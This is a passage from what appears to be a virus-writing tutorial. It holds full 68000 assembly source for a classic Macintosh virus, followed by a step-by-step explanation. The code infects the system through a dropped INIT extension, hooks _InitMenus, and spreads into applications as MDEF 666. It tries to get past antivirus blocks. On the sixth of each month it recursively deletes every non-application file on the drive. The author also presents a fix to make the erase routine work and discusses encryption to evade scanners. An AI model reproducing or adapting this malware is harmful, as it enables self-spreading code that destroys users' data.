BRA ExitInfection ;job done, exit
|
|
;***************************************************************
|
|
;the following code infects the system. We create a "special"
|
|
;Extension that is put in the Extensions folder. When the computer
|
|
;restarts, this extension will infect the computer's memory
|
|
;***************************************************************
|
|
InfectSys
|
|
CLR.W ExtRefNum(A4) ;clear reference number of extension
|
|
;***************************************************************
|
|
;call FindFolder to get the vRefNum and DirId of the Extensions folder
|
|
;***************************************************************
|
|
CLR.W -(SP) ;room for error from FindFolder
|
|
MOVE.W #kOnSystemDisk,-(SP) ;on system disk
|
|
MOVE.L #kExtensionFolderType,-(SP) ;ExtensionsFolder
|
|
MOVE.B #kDontCreateFolder,-(SP) ;no new folder
|
|
PEA foundVRefNum(A4) ;address of returned vrefnum
|
|
PEA foundDirID(A4) ;address of returned dirid
|
|
_FindFolder ;get extensions folder
|
|
MOVE.W (SP)+,D0 ;copy error in D0
|
|
BNE CallOldMDEF ;exit on non-zero error code
|
|
;***************************************************************
|
|
;call MakeFSSpec to get a file specification to use for our new
|
|
;Extension file inside the EXtensions folder.
|
|
;***************************************************************
|
|
CLR.W -(SP) ;room for error from FSMakeFSSpec
|
|
MOVE.W foundVRefNum(A4),-(SP) ;push foundVRefNum
|
|
MOVE.L foundDirId(A4),-(SP) ;push foundDirId
|
|
PEA ExtensionName ;push name
|
|
PEA theSpec ;push address of theSpec
|
|
_FSMakeFSSpec ;make file Spec
|
|
MOVE.W (SP)+,D0 ;copy error but ignore
|
|
;***************************************************************
|
|
;call FSpCreateResFile to create a resource file (our Extension)
|
|
;so we can put our virus in it.
|
|
;***************************************************************
|
|
PEA theSpec ;push theSpec
|
|
MOVE.L #'666 ',-(SP) ;push creator of file
|
|
MOVE.L #'INIT',-(SP) ;push filetype of file
|
|
MOVE.W #0,-(SP) ;push Roman script code
|
|
_FSpCreateResFile ;try to create it
|
|
;***************************************************************
|
|
;now get FInfo information about this file we have just created.
|
|
;***************************************************************
|
|
CLR.W -(SP) ;room for error
|
|
PEA theSpec ;filespec
|
|
PEA Finfo ;push address for File info
|
|
_FSpGetFInfo ;get file info
|
|
MOVE.W (SP)+,D0 ;get error
|
|
BNE ExitInfection ;exit on error
|
|
;***************************************************************
|
|
;now we have the file info on record. The reason we need it, is
|
|
;if there is an antivirus running, it won't let us create such a file
|
|
;so we reset the file attributes if our call is successful this time
|
|
;***************************************************************
|
|
LEA FInfo,A0 ;load address of Finfo
|
|
MOVE.L #'INIT',fdType(A0) ;reset file type
|
|
MOVE.L #'666 ',fdCreator(A0) ;reset file creator
|
|
;***************************************************************
|
|
;now set back the info for the file.
|
|
;***************************************************************
|
|
CLR.W -(SP) ;room for error
|
|
PEA theSpec ;filespec
|
|
PEA Finfo ;push address for File info
|
|
_FSpSetFInfo ;get file info
|
|
MOVE.W (SP)+,D0 ;get error
|
|
BNE.S ExitInfection ;exit on error
|
|
;***************************************************************
|
|
;now we try to open the new file with a call to _FSpOpenResFile
|
|
;***************************************************************
|
|
CLR.W -(SP) ;clear stack for file refnum
|
|
PEA theSpec ;push theSpec
|
|
MOVE.B #fsWrPerm,-(SP) ;push write permission
|
|
_FSpOpenResFile ;open it
|
|
MOVE.W (SP)+,ExtRefNum(A4) ;pop and store refnum
|
|
MOVE.W ResErr,D0 ;check for error
|
|
BNE.S ExitInfection ;error, exit
|
|
;***************************************************************
|
|
;check if the new file contains our virus.
|
|
;***************************************************************
|
|
CLR.L -(SP) ;room for INIT handle
|
|
MOVE.L #'INIT',-(SP) ;push res type
|
|
MOVE.W #666,-(SP) ;push res id
|
|
_Get1Resource ;try to get resource
|
|
MOVE.L (SP)+,A0 ;put in A0
|
|
MOVE.L A0,D0 ;copy in D0
|
|
BNE.S ExitInfection ;if <>0 it exists, system is infected, exit
|
|
;***************************************************************
|
|
;add viral resourse to Extension if empty
|
|
;***************************************************************
|
|
MOVE.L Handle2Us(A4),-(SP) ;push ourselves
|
|
_DetachResource ;detach from resource file
|
|
MOVE.L Handle2Us(A4),-(SP) ;push handle
|
|
MOVE.L #'INIT',-(SP) ;push type
|
|
MOVE.W #666,-(SP) ;push id
|
|
PEA ExtensionName ;push name
|
|
_AddResource ;add resource into file
|
|
MOVE.W ResErr,D0 ;get error
|
|
BNE.S ExitInfection ;exit on error
|
|
;***************************************************************
|
|
;now set the attributes of the '666 ' resource
|
|
;***************************************************************
|
|
CLR.W -(SP) ;room for attrs
|
|
MOVE.L Handle2Us(A4),-(SP) ;push handle
|
|
_GetResAttrs ;get the attrs
|
|
MOVE.W (SP)+,D0 ;copy attrs in D0
|
|
BSET #ResSysHeap,D0 ;we want SysHeap
|
|
BSET #ResPreload,D0 ;we want ResPreload
|
|
BSET #ResLocked,D0 ;we want ResLocked
|
|
MOVE.L Handle2Us(A4),-(SP) ;push handle to resource
|
|
MOVE.W D0,-(SP) ;push new attributes
|
|
_SetResAttrs ;set new attributes
|
|
MOVE.W ResErr,D0 ;get error code
|
|
BNE.S ExitInfection ;exit on error
|
|
MOVE.L Handle2Us(A4),-(SP) ;push handle again
|
|
_ChangedResource ;change attributes
|
|
MOVE.W ResErr,D0 ;get error code, but ignore
|
|
;***************************************************************
|
|
;the following labe is where we branch if a resource error occurs
|
|
;***************************************************************
|
|
ExitInfection
|
|
MOVE.W ExtRefNum(A4),D0 ;get refnum
|
|
BEQ.S CallOldMDEF ;if =0, exit, no resfile opened
|
|
MOVE.W ExtRefNum(A4),-(SP) ;if we have one, push it
|
|
_CloseResFile ;close the file and update it
|
|
;***************************************************************
|
|
;the following is the branch to the system MDEF code
|
|
;***************************************************************
|
|
CallOldMDEF
|
|
MOVE.W CurResFile(A4),-(SP) ;push id of current resfile
|
|
_UseResFile ;use old resfile
|
|
MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
|
|
MOVEA.L Vars,A0 ;fetch label of vars
|
|
MOVEA.L (A0),A0 ;dereference and get address of SysMDEF
|
|
JMP (A0) ;jump to old MDEF code
|
|
;***************************************************************
|
|
;the following gets executed upon calling _InitMenus. It is the
|
|
;pre-processing patch to the _InitMenus routine. Every time an
|
|
;application calls _InitMenus, this code will be executed first
|
|
;***************************************************************
|
|
MyInitMenus
|
|
BRA.S Next ;step over next longword
|
|
OldInitMenus
|
|
DC.L 0 ;address of original _InitMenus
|
|
Next
|
|
MOVEM.L A0-A4/D0-D7,-(SP) ;save registers
|
|
LEA Vars,A4 ;load vars
|
|
CLR.L NewHandle(A4) ;make nil handle
|
|
CLR.W -(SP) ;room for current res file
|
|
_CurResFile ;resfile of application that's running
|
|
MOVE.W (SP)+,CurResFile(A4) ;store in variable
|
|
;***************************************************************
|
|
;see if application that's running is infected. Get MDEF=666. If
|
|
;non-nil, application is infected.
|
|
;***************************************************************
|
|
CLR.L -(SP) ;space for handle
|
|
MOVE.L #'MDEF',-(SP) ;push restype
|
|
MOVE.W #666,-(SP) ;push id=666
|
|
_Get1Resource ;get it
|
|
MOVE.L (SP)+,D0 ;put in D0
|
|
BNE ExitPatch ;non nil, infected we can exit
|
|
;***************************************************************
|
|
;now see if our application has any MENU resources
|
|
;***************************************************************
|
|
CLR.W -(SP) ;room for count
|
|
MOVE.L #'MENU',-(SP) ;push restype
|
|
_Count1Resources ;count how many MENU resources
|
|
MOVE.W (SP)+,D0 ;copy to D0
|
|
BEQ ExitPatch ;if 0, no MENU resources, exit
|
|
;***************************************************************
|
|
;now fetch MENU resources and check MDEFs
|
|
;***************************************************************
|
|
MOVEQ #0,D3 ;clear flag
|
|
MOVE.L D0,D2 ;copy how many MENU resources
|
|
MOVEQ #0,D1 ;initialize counter
|
|
@9 ADDQ #1,D1 ;add one
|
|
CLR.L -(SP) ;room for returned MENU handle
|
|
MOVE.L #'MENU',-(SP) ;push restype
|
|
MOVE.W D1,-(SP) ;push index
|
|
_Get1IxResource ;get first resource
|
|
MOVE.L (SP)+,MENURes(A4) ;get MENU resource
|
|
MOVEA.L MENURes(A4),A0 ;copy in A0
|
|
_HLock ;lock MENU resource
|
|
MOVE.W MemErr,D0 ;check for error
|
|
BNE ExitPatch ;exit on error
|
|
MOVEA.L (A0),A0 ;get data
|
|
CMPI.W #0,ProcID(A0) ;check proc id
|
|
SEQ D3 ;set flag if found MENU with MDEF=0
|
|
BEQ.S @10 ;exit loop
|
|
MOVEA.L MENURes(A4),A0 ;handle in A0
|
|
_HUnlock ;unlock
|
|
CMP.W D1,D2 ;did we examine all yet?
|
|
BGT.S @9 ;no, loop back
|
|
@10 TST D3 ;check if we found a menu
|
|
BEQ ExitPatch ;no, exit patch
|
|
;***************************************************************
|
|
;now allocate handle so we can copy ourselves in it
|
|
;***************************************************************
|
|
LEA EndLabel,A0 ;end of virus
|
|
LEA Entry,A1 ;beginning of virus
|
|
SUBA.L A1,A0 ;find length of virus
|
|
MOVE.L A0,bytes2copy(A4) ;store in bytes2copy
|
|
MOVE.L A0,D0 ;copy to D0
|
|
_NewHandle ;allocate new handle
|
|
MOVE.L A0,NewHandle(A4) ;store
|
|
BEQ.S ExitPatch ;exit on error<>0
|
|
MOVE.L NewHandle(A4),A0 ;put handle in A0
|
|
_HLock ;lock the handle
|
|
MOVE.W MemErr,D0 ;check for error
|
|
BNE.S ExitPatch ;exit on error
|
|
;***************************************************************
|
|
;now copy this very code into the new handle
|
|
;***************************************************************
|
|
LEA Entry,A0 ;source pointer
|
|
MOVE.L NewHandle(A4),A1 ;get address of master pointer
|
|
MOVE.L (A1),A1 ;get address of data, destination pointer
|
|
MOVE.L bytes2copy(A4),D0 ;howmany bytes
|
|
_BlockMove ;copy virus
|
|
MOVE.L NewHandle(A4),A0 ;nove handle in A0
|
|
_HUnlock ;unlock it
|
|
MOVE.W MemErr,D0 ;check for error
|
|
BNE.S ExitPatch ;exit on error
|
|
;***************************************************************
|
|
;now add resource into active resource file
|
|
;***************************************************************
|
|
MOVE.L NewHandle(A4),-(SP) ;push handle
|
|
MOVE.L #'MDEF',-(SP) ;push type
|
|
MOVE.W #666,-(SP) ;push id=666
|
|
PEA ExtensionName ;push name
|
|
_AddResource ;add it
|
|
MOVE.W ResErr,D0 ;get error
|
|
BNE.S ExitPatch ;non zero error code, exit
|
|
;***************************************************************
|
|
;now change the MDEF id of that menu so that it calls our MDEF
|
|
;***************************************************************
|
|
MOVE.L MENURes(A4),A0 ;put in A0 to lock
|
|
_HLock
|
|
MOVE.W MemErr,D0 ;check error
|
|
BNE.S ExitPatch ;exit on error
|
|
MOVE.L MENURes(A4),A0 ;get handle to MENU resource
|
|
MOVEA.L (A0),A0 ;get master pointer of resource handle
|
|
MOVE.W #666,ProcID(A0) ;stuff new proc id
|
|
MOVE.L MENURes(A4),A0 ;get handle again
|
|
_HUnlock ;unlock it
|
|
MOVE.W MemErr,D0 ;get error
|
|
BNE.S ExitPatch ;exit if we cannot unlock
|
|
MOVE.L MENURes(A4),-(SP) ;push handle
|
|
_ChangedResource ;we changed it
|
|
MOVE.W ResErr,D0 ;get error code
|
|
BNE.S ExitPatch ;exit if error occured
|
|
;***************************************************************
|
|
;finally update the current resource file
|
|
;***************************************************************
|
|
MOVE.W CurResFile(A4),-(SP) ;push current res file
|
|
_UpdateResFile ;write it
|
|
ExitPatch
|
|
BSR.S Dispose ;dispose any new handles
|
|
MOVE.W CurResFile(A4),-(SP) ;push current res file
|
|
_UseResFile ;use it again, might have been changed
|
|
MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
|
|
MOVEA.L OldInitMenus,A0 ;get address of original InitMenus
|
|
JMP (A0) ;jump to original InitMenus
|
|
;***************************************************************
|
|
;we need to test whether we need to dispose our new handle.
|
|
;***************************************************************
|
|
Dispose
|
|
TST.L NewHandle(A4) ;is our handle nil?
|
|
BEQ.S DontDispose ;if yes, don't dispose anything
|
|
;***************************************************************
|
|
;we need to test whether our handle is resource or plain.
|
|
;***************************************************************
|
|
MOVEQ #0,D0 ;clear D0
|
|
MOVE.L NewHandle(A4),A0 ;handle in A0
|
|
_HGetState ;get the state of the handle
|
|
BTST #5,D0 ;test the resource bit
|
|
BNE.S DontDispose ;if set, exit
|
|
MOVE.L NewHandle(A4),A0 ;put in A0
|
|
_DisposeHandle ;dispose regular handle if addresource failed
|
|
DontDispose
|
|
RTS
|
|
;***************************************************************
|
|
;the following subroutine will erase the drive contents!!!
|
|
;it will recursivelly go down any directory, deleting any non
|
|
;application files it finds
|
|
;A0 holds the address of CInfoPB, or HParamBlock
|
|
;A1 holds the address of CInfoPB as a copy
|
|
;D1 is the recursive directory counter
|
|
;D0 is usually the error code from routines
|
|
;***************************************************************
|
|
EraseDrive
|
|
LINK A6,#0 ;no locals
|
|
MOVE.L D1,-(SP) ;save D1
|
|
MOVEQ #0,D1 ;start counter
|
|
AddOne
|
|
ADDQ #1,D1 ;add 1 to counter
|
|
LEA CInfoPB,A0 ;load address of our record
|
|
CLR.L ioCompletion(A0) ;nil
|
|
LEA theName,A1 ;name address
|
|
MOVE.L A1,ioNamePtr(A0) ;name address
|
|
MOVE.W 12(A6),ioVRefNum(A0) ;vrefnum we want
|
|
MOVE.L 8(A6),ioDirId(A0) ;dirid
|
|
MOVE.W D1,ioFDirIndex(A0) ;index into directory
|
|
_GetCatInfo ;get directory info
|
|
CMP.W #fnfErr,D0 ;see if end of directory
|
|
BEQ.S ExitScan ;exit scanning if done
|
|
MOVE.B ioFLAttrib(A0),D0 ;get file attributes
|
|
BTST #4,D0 ;is it a directory?
|
|
BEQ.S EraseFile ;no, go to erase
|
|
MOVE.W 12(A6),-(SP) ;push vrefnum
|
|
MOVE.L ioDrDirId(A0),-(SP) ;push directory
|
|
JSR EraseDrive ;call recursivelly
|
|
BRA.S DontCorrect ;continue with rest of directories
|
|
EraseFile
|
|
CMP.L #'APPL',FileType(A0) ;check file type
|
|
BEQ.S DontCorrect ;don't erase applications
|
|
MOVEA.L A0,A1 ;copy address
|
|
LEA HParamBlock,A0 ;load address of block
|
|
CLR.L ioCompletion(A0) ;nil
|
|
LEA theName,A2 ;address of string
|
|
MOVE.L A2,ioNamePtr(A0) ;put in ionameptr
|
|
MOVE.W 12(A6),ioVRefNum(A0) ;put vrefnum
|
|
MOVE.L ioFLParId(A1),ioDirID(A0) ;put parent directory
|
|
_HDelete
|
|
BNE.S DontCorrect ;if no error, don't correct
|
|
SUBI.W #1,D1 ;one less on index
|
|
DontCorrect
|
|
BRA.S AddOne ;loop back
|
|
ExitScan
|
|
MOVE.L (SP)+,D1 ;restore D1
|
|
UNLK A6 ;unlink
|
|
MOVEA.L (SP)+,A0 ;pop return address
|
|
ADDQ #6,SP ;pop arguments
|
|
JMP (A0) ;return
|
|
ExtensionName
|
|
DC.B $04,$01,'666',$00
|
|
Vars
|
|
DCB.B 34,0
|
|
theSpec
|
|
DCB.B 70,0
|
|
Finfo
|
|
DCB.B 16,0
|
|
DatTimeRec
|
|
DCB.B 14,0
|
|
CInfoPB
|
|
DCB.B 108,0
|
|
HParamBlock
|
|
DCB.B 122,0
|
|
theName
|
|
DCB.B 64,0
|
|
EndLabel
|
|
ENDMAIN
|
|
END
|
|
|
|
First, we define some offsets to reference our variables which start at label
|
|
Vars. Register A4 will always point to the Vars label at run time. Our
|
|
Entrance label is 'Entry' and is used later to calculate the length of the
|
|
virus. Then we save all registers except A5, A6, and A7. As you remember, A5
|
|
is used to reference global variables in any program, so we don't fool around
|
|
with it. A6 is the stack frame register, so we leave it alone. A7=SP is the
|
|
Stack pointer, so we leave that alone as well. We don't really need to access
|
|
any of these. We save all the rest just in case. We will not be using most of
|
|
the saved ones, but i like to be on the safe side. Then we load the 'Vars'
|
|
label into A4, so we can reference all our variables. Next we get hold of the
|
|
current resource file, since we need to restore it before we exit so we don't
|
|
inadvertently change the order of resource files and have unpredictable
|
|
crashes. Be VERY careful when you change the current resource file. ALWAYS
|
|
restore it in the end, before you exit. Other resource manager routines
|
|
depend on finding the file resource map in memory intact. We copy the current
|
|
resource file reference number into our var section. Ok, basic housekeeping
|
|
is done. We then need to determine the state of our execution. Namely, this
|
|
virus has two states, depending on the double action principle. If it is run
|
|
from the system, it is in the first state. If it is run from an infected
|
|
application, it is in the second state. How do we determine the state we are
|
|
in? Simple. We look for an INIT resource in the current resource file (that
|
|
is, us) and if it exists, that means we are running as an INIT. If it does
|
|
not, we are running as a MDEF. We use the trap _Get1Resource to get hold of
|
|
the INIT resource and we store it in the corresponding variable. The, if the
|
|
data transfered was zero, indicating a nil master pointer for the resource
|
|
fetched, we branch into the second state, that is, the MDEF state. Here,
|
|
let's assume that we are in the first state, that of having fetched
|
|
succesfully an INIT resource, so we fall through onto the next statement. Our
|
|
extension now, will patch the _InitMenus trap. A small diversion here. Those
|
|
two wonderful traps, _GetToolboxTrapAddress and _SetToolboxTrapAddress that
|
|
come next, are the main tools of patching. Look back into the TRAP PATCHING
|
|
section of the article. For example, if I used the trap
|
|
_GetToolboxTrapAddress on the trap $A9AB, it would return the address
|
|
$3501980 to us. That's what those traps do. They fetch the actual routine
|
|
address from the dispatch table. The second one, can set the address to
|
|
whatever we want. So we move the trap number for _InitMenus into D0 and call
|
|
the _GetToolboxTrapAddress to recover the actual routine address. Then we
|
|
stuff the returned address into the label "OldInitMenus". After we save thus,
|
|
we install onto the trap _InitMenus OUR address, which is "MyInitMenus". That
|
|
will make sure that everytime someone calls _InitMenus, our code will be
|
|
executed first. Then, we call DetachResource on the entire INIT, to
|
|
disassociate it from our file, and to cause it to float in memory regardless
|
|
of our closing the Extension. A note here: It is assumed that any trap
|
|
patches are installed into the System Heap, and they are Locked. Don't make
|
|
the mistake of building an Extension from MPW of this code without setting
|
|
the resSysHeap, resPreload and resLocked bits. The machine will crash badly
|
|
if you forget those. The virus installs the resource correctly when it runs
|
|
off an application. Finally, we restore our registers and we exit gracefully.
|
|
The RTS instruction will bring us back to whoever called our Extension file.
|
|
The Extension now has done its job. Any time someone calls _InitMenus, that
|
|
someone will be running our code first, so he will be infected immediatelly
|
|
from memory. We continue with the second state. The code that will run from
|
|
an infected application. This code starts at the label MDEF. So let's look at
|
|
this code in detail: First we get hold of ourselves, i.e. the very code
|
|
that's running, but this time as a MDEF resource. We call GetResource and
|
|
this call returns basically a handle to the beginning of the virus code. We
|
|
store this handle in the variable 'Handle2Us'. Then we need to fetch the
|
|
original MDEF=0 code, so we can jump to it when we are done. We thus call
|
|
GetResource from the System file and we store the handle into 'SystemMDEF'.
|
|
If the handle is non-nil, we branch immediatelly into the 'InfectSys' label.
|
|
If it is nil (0), we are in trouble. Since we don't have any code to jump to
|
|
when we are done, we must necessarilly crash. So, we do. This is what the
|
|
trap _Debugger does. Here I have added a simple date-trigger test, which will
|
|
be used to activate the virus' evil behaviour. While on the label CheckDate
|
|
then, we fetch the system date from the low mem global "Time" and we convert
|
|
that to a dateTimeRec. Then we check the day, and if it is the sixth of the
|
|
month, all hell breaks loose. First we get the default volume. Then we push
|
|
the volume number onto the stack, and then we push the first directory id,
|
|
which is 2. Then we call the subroutine at the end of the program to erase
|
|
the drive contents. More on that subroutine later. So let's assume now its
|
|
not an erase date. We then pass onto the 'InfectSys' code. There, we clear
|
|
the variable ExtRefNum first to zero, so that we can have a way later to
|
|
determine if we have opened a new resource file-the Extension that we are
|
|
going to install. Then we call the trap _FindFolder to get hold of the
|
|
vRefnum and dirID of the Extensions directory on the system disk. We then try
|
|
to make a file speciification for our file, by using the returned
|
|
foundVrefNum and foundDirId from _FindFolder. Next we try to create the file
|
|
itself, based on the file specification we got from the above calls. Note
|
|
here, that we ignore the error retured from _FSpCreateResFile (might be
|
|
non-zero if the file exists already) because we need to open the file anyway.
|
|
For example, if an AV is running, it will not let us create such a file.
|
|
There will be a file created with no creator and filetype if we fail because
|
|
of an AV. Thus, if a failed file exists, we need to reset its file attributes
|
|
and copy the virus there. That's why we call _FSpGetFInfo, to get its
|
|
attributes anyway. We then reset the attributes and call _FSpSetFInfo to set
|
|
them again, in case the file was a failed one from a previous unsuccessful
|
|
attempt. We then call _FSpOpenResFile and try to open the file with write
|
|
permission to look inside. We look for an 'INIT' with id=666 resource. If the
|
|
Get1Resource call returns a handle to such a resource, the system is
|
|
infected, so we can exit. If it is not infected, we disassociate ourselves
|
|
from our file with DetachResource and we add ourselves to the file as an INIT
|
|
resource of id=666. Next, we remind ourselves that the INIT resource in that
|
|
special file needs to be resSysHeap+resPreload+resLocked. So we set those
|
|
attributes appropriately on the new resource. We first get the old ones, and
|
|
set the bits on those old ones, so we don't upset any preset ones. Finally we
|
|
call ChangedResource on the newlly added resource, and we exit. Upon exiting,
|
|
we look at the refnum of the opened Extension. If it is zero, it means we
|
|
haven't opened anything, so we just don't close any files. If it is nonzero,
|
|
we close the newlly created file. Then we fetch the address of the old MDEF
|
|
from where it has been stored and JMP to that location after we restore the
|
|
current resource file. From that point on, the MDEF=0 takes over control and
|
|
performs the regular MENU operations as expected. What follows, is the actual
|
|
patch code that gets executed upon anybody calling _InitMenus. We must carry
|
|
this code with us always, since we must install it on an uninfected system.
|
|
To understand the entry section, look at the previous TRAP PATCHING section
|
|
on this article. This code starts with a BRA instruction to jump over the
|
|
label that holds the original address of _InitMenus, as it has been stored
|
|
there from our Extension file. Then we first save all the registers again,
|
|
and load our variables into register A4 as we did before with the MDEF code
|
|
section. We clear our NewHandle variable so that we can tell later if we have
|
|
something non-zero there. We immediatelly get hold of the current resource
|
|
file (which will be the application that has called _InitMenus) and store it
|
|
in the variable CurResFile. We next examine if this current application that
|
|
is running is already infected. The test for that is whether the
|
|
Get1Resource('MDEF',666) call is successful. If it is, the application is
|
|
already infected, so we exit. If it is not, we will infect it. We then look
|
|
if the application has any MENU resources. If it doesn't have any, it is
|
|
immune against our virus, since even if we infect it, the MDEF=666 will never
|
|
be activated, since there will be no MENU resource with MDEF=666 to activate
|
|
it. We COULD infect it, but i like simplicity. There is no reason we should
|
|
infect a stale application that has no chance of propagating the virus. The
|
|
call Count1Resources('MENU') returns how many resources of that type are
|
|
inside the application. If none, we exit. If <>0 then we pick a MENU with a
|
|
valid index (that will be some MENU resource with MDEF=0) and get hold of
|
|
that MENU resource, this time through this index. (Instead of calling
|
|
GetResource('xxxx',id) you can call Get1IxResource('xxxx',index) with index
|
|
varying from 1 to Count1Resources('xxxx') to get handles to those resources
|
|
instead. Then the crucial part: We need to calculate how long our virus is.
|
|
We thus subtract the beginning of the virus from the end, to get a count,
|
|
which we load into the variable 'bytes2Copy', so we can use it later. We call
|
|
NewHandle to allocate this many bytes, and we store this handle in the
|
|
variable 'NewHandle'. We must now 'lock' the handle so that it doesn't move
|
|
in memory, and after we successfully do, we copy ourselves onto the block of
|
|
memory our new handle points to, using BlockMove. We then unlock our handle
|
|
and we are ready to copy. We push the type and id of the resource we want to
|
|
add, and we add it to the current resource file (i.e. the file that is
|
|
running). If an AV is running, the AddResource call will fail (we will tell
|
|
that with ResErr<>0), and in this case, we branch immediatelly into
|
|
'ExitPatch'. Next, we need to change the MDEF id of that MENU resource so
|
|
that when the menu manager tries to draw our menu, our MDEF=666 will
|
|
activate. The MDEF resource id is stored in the MENU resource 6 bytes into
|
|
the data record. So we stuff a 666 in there. We then unlock the resource and
|
|
call ChangedResource so that the file resource map will be updated on call
|
|
later. In fact the UpdateResFile follows, which writes all our changes
|
|
permanently. What follows, needs careful analysis. It is the ExitPatch label
|
|
inside which we need to perform certain tests to insure that we don't
|
|
unecessarily do something we don't need to. For example, if we exited due to
|
|
an error, we might have not allocated a NewHandle. That's why we test for a
|
|
nil handle here, and if it is nil, we don't do anything else but simply exit.
|
|
If however our calls for NewHandle were successful, we need to determine if
|
|
we have a plain memory handle (i.e. if we successfully allocated memory but
|
|
failed to add a resource) or a resource handle (i.e. if we have successfully
|
|
allocated memory AND the handle was added later as a resource, which means it
|
|
became a resource handle) For that, we call HGetState(NewHandle) to get its
|
|
state. If bit #5 on 'state' is set, then it is a resource handle. If not, it
|
|
is a plain handle. Accordingly, we call the proper routine. Either
|
|
DisposeHandle, or ReleaseResource, depending on what we have. Finally we
|
|
restore the current resource file and the registers, and JMP onto the
|
|
original routine for _InitMenus. That's it :)
|
|
|
|
DIRECTORY SCANNING
|
|
|
|
Before we analyze the Erasing subroutine, lets look a bit at the Pascal
|
|
Source of the predecessor to my Erase subroutine, on which the asm routine is
|
|
based. It is quite simple:
|
|
|
|
program CatInfo;
|
|
{$I-}
|
|
var
|
|
err: integer;
|
|
vRefNum: integer;
|
|
CInfoPB: CInfoPBRec;
|
|
theName: Str255;
|
|
procedure TraverseDrive (vRefNum: integer; DirId: longint);
|
|
var
|
|
i: integer;
|
|
err, ferr: integer;
|
|
begin
|
|
i := 0;
|
|
repeat
|
|
i := i + 1;
|
|
with CInfoPB do
|
|
begin
|
|
ioCompletion := nil;
|
|
ioNamePtr := @theName;
|
|
ioVRefNum := vRefNum;
|
|
ioDirID := DirId;
|
|
ioFDirIndex := i;
|
|
end;
|
|
err := PBGetCatInfo(@CInfoPB, false);
|
|
if (err = noErr) then
|
|
if BTST(CInfoPB.ioFLAttrib, 4) then
|
|
TraverseDrive(vRefNum, CInfoPB.ioDrDirId)
|
|
else
|
|
writeln(theName)
|
|
until err = fnfErr;
|
|
end;
|
|
begin
|
|
InitGraf(@thePort);
|
|
InitWindows;
|
|
InitMenus;
|
|
TEInit;
|
|
InitDialogs(nil);
|
|
err := GetVol(nil, vRefNum);
|
|
writeln(vRefNum);
|
|
TraverseDrive(vRefNum, 2);
|
|
end.
|
|
|
|
The source is pretty self explanatory. We first get the default volume number
|
|
and we pass this along with the first directory id=2 to the subroutine. The
|
|
subroutine simply scans a directory, and enumerates its contents. If the
|
|
fetched item is a directory, (BTST(CInfoPB.ioFLAttrib, 4)), we call
|
|
recursivelly and go one level down to traverse the new directory. If it is a
|
|
file, we just write its name. The idea is very simple. If we wanted to erase
|
|
the drive, we would have instead of writeln, an HDelete. But note one
|
|
important catch here! If we delete a file of say enumeration index n, we
|
|
actually LOSE one index, so we must subtract one from our index scan counter.
|
|
This is a very common bug, which many viruses so far have missed, and as
|
|
such, their erase routines fail. But ours does not :) So let's go and look at
|
|
the granddaddy of all eraseing subroutines, the simplest possible directory
|
|
scanner, in asm:
|
|
|
|
THE ERASE DRIVE SUBROUTINE
|
|
|
|
The last segment of our virus is a subroutine that gets called when the date
|
|
trigger activates the virus. It needs to be a complete subroutine, with LINK
|
|
and UNLK and stuff, since we will be calling it recursivelly. We first LINK
|
|
A6 with 0 bytes locals, (we have no need for locals) and then we save
|
|
register D1, since our counter needs to be preserved recursivelly when we go
|
|
up one level. The subroutine accepts two arguments on the stack, a vRefNum,
|
|
(2 bytes) and a DirID (4 bytes). These arguments after the link are to be
|
|
found at 12(A6) and at 8(A6). So each time we enter the subroutine, we
|
|
retrieve them from those locations and feed them into our CINfoPB parameter
|
|
block, to give them as parameters to _GetCatInfo. We also give a dirIndex,
|
|
which is simply a counter of objects in any directory and then we call the
|
|
trap. The trap returns information in our CInfoPB parameter block. If the
|
|
trap returns fnfErr (file not found error) we exit. The trap returns this
|
|
error when the entire directory has been traversed. If the error is nonzero,
|
|
we check the objects file attributes like in the Pascal source, to see if it
|
|
is a file or a directory. If it is a file, we jump to the label EraseFile. If
|
|
not, we call the subroutine recursivelly. After we are done, we branch to
|
|
DontCorrect, which simply loops back and increases our counter. On the label
|
|
EraseFile, we check the fileType of the returned file. If it is an
|
|
application we leave it alone. There is no sense in erasing the very carriers
|
|
of the virus. That would be equivallent to the virus committing suicide. We
|
|
don't want that of course!!! Then, provided our file is not an APPL, we load
|
|
the correct fields into our HParamBlock record, and we call _HDelete. If
|
|
_HDelete returns an error (such as file busy or whatever) we simply loop back
|
|
to increasing the counter and continue with our scanning. If however the call
|
|
was successfull, we need to decrease our counter by one, because we have one
|
|
file less in the directory now!!!. So then, we branch back to increasing our
|
|
counter, and we continue. Finally, the ExitScan label will be reached when
|
|
all the objects in a particular directory have been enumerated, so we restore
|
|
D1, Unlink our stack frame, pop the return address, pop our arguments (2 for
|
|
vRefNum+4 for DirID) and we return to whoever called us. The subroutine is
|
|
actually a direct adaptation to the Pascal enumerator, with the exception of
|
|
the index correction when we delete. You should have no problems
|
|
understanding it. It is actually pretty simple. Don't forget to check Inside
|
|
Macintosh, to see how we load all those blocks into A0 before we call the
|
|
corresponding traps.
|
|
|
|
What follows are the Extension name and our vars.
|
|
|
|
A NOTE ON ENCRYPTION
|
|
|
|
Before submitting this project to the Codebreakers, i was thinking why not
|
|
finish a nicely done job and encrypt the virus. The job is actually quite
|
|
easy. I would have the first instruction to be a BRA Decrypt and when the
|
|
virus needs to add resources to other files, I would do a BSR Encrypt. The
|
|
Decryption engine would be appended to the end of the virus, and it would be
|
|
relatively simple. Actually i did it, and the engine was around 40-50 bytes.
|
|
But upon seriously thinking about it, when i looked at the encrypted version
|
|
of the virus, i could easily spot the pick up of the key from the location i
|
|
was storing it. If someone is a specialist on asm, one could immediately
|
|
figure out the engine. I was going to implement a simple XOR encryption, but
|
|
the virus got bulky and complicated, and it crashed for some reason that
|
|
would have taken me weeks to figure out using MacsBug. I had enough trouble
|
|
to figure out why this version crashed, before i figured out to split my
|
|
DisposeHandles routine to two pieces, one that disposed Memory handles and
|
|
the other that Released Resource manager handles. That was tricky. In any
|
|
case, even if the encryption was successful, the id of the MDEF would be
|
|
always 666. So any scanning program would simply check for any MDEF=666
|
|
resources and it would issue alerts immediatelly. One possible solution to
|
|
that would be to infect application files with MDEFs of variant ids. This
|
|
technique though, would complicate the signature verification of the virus,
|
|
as the virus would have to check for all possible MDEF ids to figure out if
|
|
an application is alerady infected. Still, even if one did that, the
|
|
decryption engine would be visible. I am not a specialist on virus
|
|
encryption, and i am sure that PeeCee guys out there have many mutational
|
|
Encryption engines, but i am not going to proceed thus far. I will leave it
|
|
as is (for now).
|
|
|
|
EPILOGUE
|
|
|
|
